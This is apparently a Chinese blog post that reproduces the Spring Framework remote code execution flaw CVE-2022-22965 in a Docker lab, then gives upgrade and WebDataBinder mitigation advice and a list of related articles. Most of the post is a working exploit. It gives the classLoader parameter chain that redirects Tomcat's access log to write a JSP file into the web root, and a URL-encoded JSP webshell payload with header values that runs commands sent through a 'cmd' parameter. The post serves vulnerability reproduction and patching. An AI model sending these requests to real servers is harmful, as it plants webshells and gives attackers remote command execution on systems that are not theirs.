3 月 30 日,国家信息安全漏洞共享平台(CNVD)接收到蚂蚁科技集团股份有限公司报送的 Spring 框架远程命令执行漏洞(CNVD-2022-23942)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。CNVD 对该漏洞的综合评级为“高危”。

漏洞利用条件:

  • jdk9+
  • Spring 及其衍生框架
  • 使用tomcat部署spring项目
  • 使用了POJO参数绑定
  • Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本

漏洞复现:

使用docker搭建SpringCore RCE测试环境

docker pull vulfocus/spring-core-rce-2022-03-29  //下载靶场

docker run -dit -p 8090:8080 vulfocus/spring-core-rce-2022-03-29   //运行靶场

访问8090端口,搭建成功

完整测试payload:

//脚本内容,输入测试内容test
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test
//修改tomcat日志文件后缀,javaweb搭建的环境,这里改为.jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
//写入文件到网站根目录,根目录是webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
//写入文件名称为test
class.module.classLoader.resources.context.parent.pipeline.first.prefix=test
//文件日期格式(实际构造为空值即可)
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

GET利用:(按顺序逐条发送payload)

class.module.classLoader.resources.context.parent.pipeline.first.pattern=test

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=test

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

POST利用:(一次性发送整个测试payload)

class.module.classLoader.resources.context.parent.pipeline.first.pattern=test&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

访问http://192.168.96.155:8090/test.jsp,文件存在,这里是因为我之前写入过其他

查看docker下的test.jsp文件:

docker ps  //查看docker进程

docker exec -it fad4f4c30324  /bin/bash   // 进入靶场容器

cd /app/tomcat/webapps/ROOT  //进入网站根目录 

可以看到,test是刚刚写入的内容

写入木马: GET或者POST方法都可以

请求内容:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

http头部添加:

suffix:%>//
c1:Runtime
c2:<%

如下:

执行命令:

pwd=t&cmd=id

漏洞原理分析:

Spring Framework CVE-2022-22965漏洞详细分析 - 简书

 漏洞修复:

方案1:升级到Spring Framework 5.3.18 和 5.2.20

方案2:

Spring 官方建议通过 @ControllerAdvice 来设置 WebDataBinder 的 disallowedFields。

这个解决方案通常会有效,但也并不是 100% 可以阻止漏洞。

为了更加保险一些,Spring.io 还建议应用程序可以扩展 RequestMappingHandlerAdapter,同时在所有其他初始化之后,在最后更新WebDataBinder。

参考链接:

【Vulfocus漏洞复现】spring-core-rce-2022-03-29_青果@的博客-CSDN博客

Spring 官方证实:框架爆大漏洞,JDK 9 及以上版本均受影响

spring framework远程代码执行漏洞复现(CNVD-2022-23942 CVE-2022-22965)相关推荐

  1. 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...

  2. 安全修复之Web——Spring Framework 远程代码执行漏洞

    安全修复之Web--Spring Framework 远程代码执行漏洞 背景 日常我们开发时,会遇到各种各样的奇奇怪怪的问题(踩坑o(╯□╰)o),这个常见问题系列就是我日常遇到的一些问题的记录文章系 ...

  3. 【高危漏洞通告】Spring Framework 远程代码执行 (CVE-2022-22965)

    [高危漏洞通告]Spring Framework 远程代码执行 (CVE-2022-22965)漏洞通告    一. 漏洞情况 Spring 框架(Framework)是一个开源的轻量级 J2EE 应 ...

  4. Office 远程代码执行漏洞复现过程

    本文来自作者肖志华在 GitChat 上分享 「Office 远程代码执行漏洞复现过程」,「阅读原文」查看交流实录. 编辑 | 天津饭 直接贴本地复现过程,至于怎么利用还请自己思考. 2017年11月 ...

  5. ThinkPHP 5.0.23 远程代码执行 漏洞复现

    ThinkPHP 5.0.23 远程代码执行 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1. 环境搭建 2. 漏洞复现 四.漏洞POC 五.参考链接 六.利用工具 一.漏洞描述 ThinkP ...

  6. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  7. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  8. 用友NC BeanShell远程代码执行漏洞复现

    用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...

  9. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

最新文章

  1. sentinel 时间窗口_Sentinel使用令牌桶实现预热【原理源码】
  2. 【Win 10 应用开发】UI Composition 札记(二):基本构件
  3. 在Windows XP 中使用Active Directory(活动目录)
  4. jQuery—淘宝精品服饰案例
  5. Java中的低延迟FIX引擎
  6. java中start与loop_java for-loop问题
  7. 风格化图像_CVPR2019:基于神经网络纹理转换的图像超分辨率
  8. sklearn 3.随机森林(菜菜课程)
  9. 程序员面试金典——17.4无判断max
  10. js获取td的html,js中获取 table节点各tr及td的内容简单实例
  11. macOS远程管理linux,MacOS远程控制工具
  12. LU分解_SVD分解
  13. 纯html5单击箭头切换图片,简单的实现点击箭头图片切换的js代码
  14. 2019杭州电子科技大学计算机考研经验谈
  15. html音乐游戏,音乐游戏有哪些? 音乐游戏推荐
  16. C语言基础学习——编译过程
  17. Failed to convert property value of type 'java.lang.String' to required type 'java.util.Date'
  18. 用 java eclipse画出一个圆形并且可以控制半径大小
  19. centos安装MySQL到指定盘_Centos下安装mysql 和挂载硬盘
  20. i7 10750h和i7 10870h 的区别

热门文章

  1. Pandas基本数据对象及操作
  2. DeeperNetwork2022 新年献词:邀您共赴,WEB3.0的星辰大海
  3. java全套视频教程资料
  4. Hi3516A 烧录内核后无法ping通网关和自己
  5. Leetcode 路径总和
  6. WP Smush Pro网站图片优化插件最新版免费下载
  7. java项目-第34期基于SpringBoot实现的中小医院HIS管理系统【毕业设计】
  8. wr885n虚拟服务器设置,TP-Link TL-WR885N V4路由器桥接设置教程
  9. 如何区分ipad2和ipad3
  10. VR全景电子商务方案/APP/小程序/公众号/网站